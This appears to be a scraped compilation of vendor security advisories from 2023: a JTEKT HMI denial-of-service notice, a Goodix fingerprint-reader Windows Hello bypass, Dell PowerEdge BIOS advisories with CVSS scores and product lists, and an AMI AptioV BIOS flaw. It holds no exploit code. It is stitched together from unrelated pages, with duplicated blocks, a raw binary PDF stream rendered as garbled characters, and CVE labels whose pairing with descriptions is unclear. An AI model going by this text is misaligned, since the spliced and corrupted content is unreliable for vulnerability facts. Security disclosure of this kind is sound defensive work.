A remote attacker may be able to cause a denial of service (DoS) condition by sending specially crafted packets to specific ports.  
A denial of service (DoS) may cause the HMI system to stop.  
Restarting the HMI is required to recover from a system stopped state.

**5.Mitigations and Protections**

When connecting the HMI GC-A2 series to the Internet, use a firewall or virtual private network (VPN) to prevent unauthorized access.

Our Advantages

Global business expanding enable us to product development required by the World and Era. Also,  
advanced total power and development capabilities doesn't make us stay just component producer.

View details

CVE-2023-49713: [Update notice] HMI GC-A2 series｜JTEKT ELECTRONICS CORPORATION

The Goodix Fingerprint Device, as shipped in Dell Inspiron 15 computers, does not follow the Secure Device Connection Protocol (SDCP) when enrolling via Linux, and accepts an unauthenticated configuration packet to select the Windows template database, which allows bypass of Windows Hello authentication by enrolling an attacker's fingerprint.

CVE-2023-50430: A Touch of Pwn - Part I


Dell PowerEdge BIOS contains an improper privilege management security vulnerability. An unauthenticated local attacker could potentially exploit this vulnerability, leading to privilege escalation.



Article Number: 000219550

**Article Content**

**Impact**

High

**Details**

Proprietary Code CVEs

Description

CVSS Base Score

CVSS Vector String

CVE-2023-32460

Dell PowerEdge BIOS contains an improper privilege management security vulnerability. An unauthenticated local attacker could potentially exploit this vulnerability, leading to privilege escalation.

8.8

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 

Proprietary Code CVEs

Description

CVSS Base Score

CVSS Vector String

CVE-2023-32460

Dell PowerEdge BIOS contains an improper privilege management security vulnerability. An unauthenticated local attacker could potentially exploit this vulnerability, leading to privilege escalation.

8.8

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 

Dell Technologies recommends all customers consider both the CVSS base score and any relevant temporal and environmental scores that may impact the potential severity associated with a particular security vulnerability.

**Affected Products and Remediation**

The Affected Products and Remediation table above may not be a comprehensive list of all affected supported versions and may be updated as more information becomes available.  

**Workarounds and Mitigations**

None

**Revision History**

Revision

Date

Description

1.0

2023-12-07

Initial release

2.0

2023-12-07

*   Updated the downloadable link for PowerEdge R6515
*   Updated the BIOS version to v2.18.2 for PowerEdge C6320, Dell XC6320 Hyper-converged Appliance
*   Updated the BIOS version to v2.19.1 for PowerEdge R330/R230/T330/T130

**Related Information**

Dell Security Advisories and Notices  
Dell Vulnerability Response Policy  
CVSS Scoring Guide

**Article Properties**

**Affected Product**

DSS 8440, Dell EMC XC Core XCXR2, Dell EMC XC Core XC450, Dell EMC XC Core XC650, Dell EMC XC Core XC6520, Dell EMC XC Core XC740xd2, Dell EMC XC Core XC750, Dell EMC XC Core XC750xa, Dell XC430 Hyper-converged Appliance , Dell XC630 Hyper-converged Appliance, Dell XC6320 Hyper-converged Appliance, Dell EMC XC Core XC640 System, Dell EMC XC Core 6420 System, Dell XC Core XC660, Dell XC730 Hyper-converged Appliance, Dell XC730XD Hyper-converged Appliance, Dell EMC XC Core XC740xd System, Dell XC Core XC760, Dell EMC XC Core XC940 System, PowerEdge XR2, PowerEdge C4130, Poweredge C4140, PowerEdge c6320, PowerEdge C6420, PowerEdge C6520, PowerEdge C6525, PowerEdge C6615, PowerEdge C6620, Poweredge FC430, Poweredge FC630, PowerEdge FC640, Poweredge FC830, PowerEdge HS5610, PowerEdge HS5620, PowerEdge M630, PowerEdge M630 (for PE VRTX), PowerEdge M640, PowerEdge M640 (for PE VRTX), PowerEdge M830, PowerEdge M830 (for PE VRTX), PowerEdge MX740C, PowerEdge MX750c, PowerEdge MX760c, PowerEdge MX840C, PowerEdge R230, PowerEdge R240, PowerEdge R250, PowerEdge R330, PowerEdge R340, PowerEdge R350, PowerEdge R430, PowerEdge R440, PowerEdge R450, PowerEdge R530, PowerEdge R540, PowerEdge R550, PowerEdge R630, PowerEdge R640, PowerEdge R6415, PowerEdge R650, PowerEdge R650xs, PowerEdge R6515, PowerEdge R6525, PowerEdge R660, PowerEdge R660xs, PowerEdge R6615, PowerEdge R6625, PowerEdge R730, PowerEdge R730xd, PowerEdge R740, PowerEdge R740XD, PowerEdge R740XD2, PowerEdge R7415, PowerEdge R7425, PowerEdge R750, PowerEdge R750XA, PowerEdge R750xs, PowerEdge R7515, PowerEdge R7525, PowerEdge R760, PowerEdge R760XA, PowerEdge R760xd2, PowerEdge R760xs, PowerEdge R7615, PowerEdge R7625, PowerEdge R830, PowerEdge R840, PowerEdge R860, PowerEdge R930, PowerEdge R940, PowerEdge R940xa, PowerEdge R960, PowerEdge T130, PowerEdge T140, PowerEdge T150, PowerEdge T330, PowerEdge T340, PowerEdge T350, PowerEdge T430, PowerEdge T440, PowerEdge T550, PowerEdge T560, PowerEdge T630, PowerEdge T640, PowerEdge XE2420, PowerEdge XE7420, PowerEdge XE7440, PowerEdge XE8545, PowerEdge XE8640, PowerEdge XE9640, PowerEdge XE9680, PowerEdge XR11, PowerEdge XR12, PowerEdge XR4510c, PowerEdge XR4520c, PowerEdge XR5610, PowerEdge XR7620, PowerEdge XR8610t, PowerEdge XR8620t, Dell Storage NX3230, Dell EMC Storage NX3240, Dell Storage NX3330, Dell EMC Storage NX3340, Dell Storage NX430, Dell EMC NX440, Dell EMC XC Core XC7525 ...

**Last Published Date**

07 Dec 2023

**Version**

5

**Article Type**

Dell Security Advisory

CVE-2023-32460: DSA-2023-361: Security Update for Dell PowerEdge Server BIOS for an Improper Privilege Management Security Vulnerability


AMI AptioV contains a vulnerability in BIOS where a User may cause an unrestricted upload of a PNG Logo file with dangerous type by Local access. A successful exploit of this vulnerability may lead to a loss of Confidentiality, Integrity, and/or Availability. 







%PDF-1.7 %���� 1 0 obj <>/Metadata 150 0 R/ViewerPreferences 151 0 R>> endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/XObject<>/ProcSet\[/PDF/Text/ImageB/ImageC/ImageI\] >>/Annots\[ 9 0 R 12 0 R 31 0 R 32 0 R\] /MediaBox\[ 0 0 612 792\] /Contents 4 0 R/Group<>/Tabs/S/StructParents 0>> endobj 4 0 obj <> stream x��\]Yo�H�~���Ǫ��b�d6��Ѣ��d��P�K�$�Z\*y������L�f�4I�F��#�\_dDd\\L���W����\*������jv���K�Ó�j�|�������᯳���l�X>^�~^᥋�r5>:JN�N�?���4����I�X�͝L���{�S�wr��wx!�:�\\��� h�%"Q�O�\\?@��\\�������Y���������y�������Ρ�����j�\*��L�' ň�2 �/Ӄ|?z��N��Of� \]�5��� �z~���lEw�pˎH��&Uz�L��|W} ���\]&H��|j&7�x��X}��Ir:B�| Q� ����L�H3�E��6�՛KKJ�J��x1$���{������V��k��j �5g�R�oKī���H ��\*�͠�b�Ho@\\���xs+ө�ĵe��&6)D���,�@�&��?��L�6B��d�MW�U� ���\*eZ�����;M�ë��#��w��gIv����.��>^M��\*�Df�\*ot��"�����$QD\]�C�2�(v����a\]���\\�<�Ҡ:�(e�j~��� \[�-9���+�,^�x���H4�L;��#�Z��S�#PL�r��a��Y��\`�9L4ۇ5��< B�)��F�s������ QdpP�����)80gp\`���Ƨ�Q/Y�H,��I�ԈX\` \]��x ��A�H1,3pE�M^.<���V�t��1��TfR�~/�Amx��#�&3�E�anK�V�H<�$\\�xp�����-Y�y��Ё:3�5��y�Y�rL��I�������Yq�o4zL�R�\`Q��:� c�{b���5,��V2X\]l�/�w�Ljab\_D���3�JJ��a,z��q���S-8ԃ1��4c� .�D�7�� �V����X �C6-�\`<�\\Q�GTc��lD���G9����S�8�� @͖�,cG�@�2@�\\��;ߍ|E��:�i�A!&�4�6c�M>o�}�+ �����"K�� ES\*2�p#(\`4k4��r�YO�R���%;9z��Z�T�@����U���\*i�!�Īx@�� F(�@S��\\������ �Xg�BLN����˩��ߏWYYYCV&�C�T�%�K�l:11�X�(5D�ّ����T�x�͜�09f�@��ق�X�G�����on�9&/x��{�ͭ�b/��>=��r�w�w�a�t��--��>t��4b��וY㙀m�d�{\*�v��B�Z��e\[�O.ѩ��0 P���E?�P��RE�axf�Y=Q�f�a�3���ѐ���)1L{I�f^n���Dq::��d�u�

CVE-2023-39539


Dell PowerEdge platforms 16G Intel E5 BIOS and Dell Precision BIOS, version 1.4.4, contain active debug code security vulnerability. An unauthenticated physical attacker could potentially exploit this vulnerability, leading to information tampering, code execution, denial of service.



**Impact**

High

**Details**

Proprietary Code CVEs

Description

CVSS Base Score

CVSS Vector String

CVE-2023-44297

Dell PowerEdge platforms 16G Intel E5 BIOS and Dell Precision BIOS, version 1.4.4, contain active debug code security vulnerability. An unauthenticated physical attacker could potentially exploit this vulnerability, leading to information disclosure, information tampering, code execution, denial of service.

7.1

CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L 

CVE-2023-44298

Dell PowerEdge platforms 16G Intel E5 BIOS and Dell Precision BIOS, version 1.4.4, contain active debug code security vulnerability. An unauthenticated physical attacker could potentially exploit this vulnerability, leading to information tampering, code execution, denial of service.

3.6

CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:L 

Proprietary Code CVEs

Description

CVSS Base Score

CVSS Vector String

CVE-2023-44297

Dell PowerEdge platforms 16G Intel E5 BIOS and Dell Precision BIOS, version 1.4.4, contain active debug code security vulnerability. An unauthenticated physical attacker could potentially exploit this vulnerability, leading to information disclosure, information tampering, code execution, denial of service.

7.1

CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L 

CVE-2023-44298

Dell PowerEdge platforms 16G Intel E5 BIOS and Dell Precision BIOS, version 1.4.4, contain active debug code security vulnerability. An unauthenticated physical attacker could potentially exploit this vulnerability, leading to information tampering, code execution, denial of service.

3.6

CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:L 

Dell Technologies recommends all customers consider both the CVSS base score and any relevant temporal and environmental scores that may impact the potential severity associated with a particular security vulnerability.

**Affected Products and Remediation**

The Affected Products and Remediation table above may not be a comprehensive list of all affected supported versions and may be updated as more information becomes available.  

**Workarounds and Mitigations**

None

**Revision History**

Revision

Date

Description

1.0

2023-12-04

Initial release

**Related Information**

Dell Security Advisories and Notices  
Dell Vulnerability Response Policy  
CVSS Scoring Guide

PowerEdge C6620, PowerEdge HS5610, PowerEdge HS5620, PowerEdge MX760c, PowerEdge R660, PowerEdge R660xs, PowerEdge R760, PowerEdge R760XA, PowerEdge R760xd2, PowerEdge R760xs, PowerEdge R860, PowerEdge R960, PowerEdge T560

Tag

#bios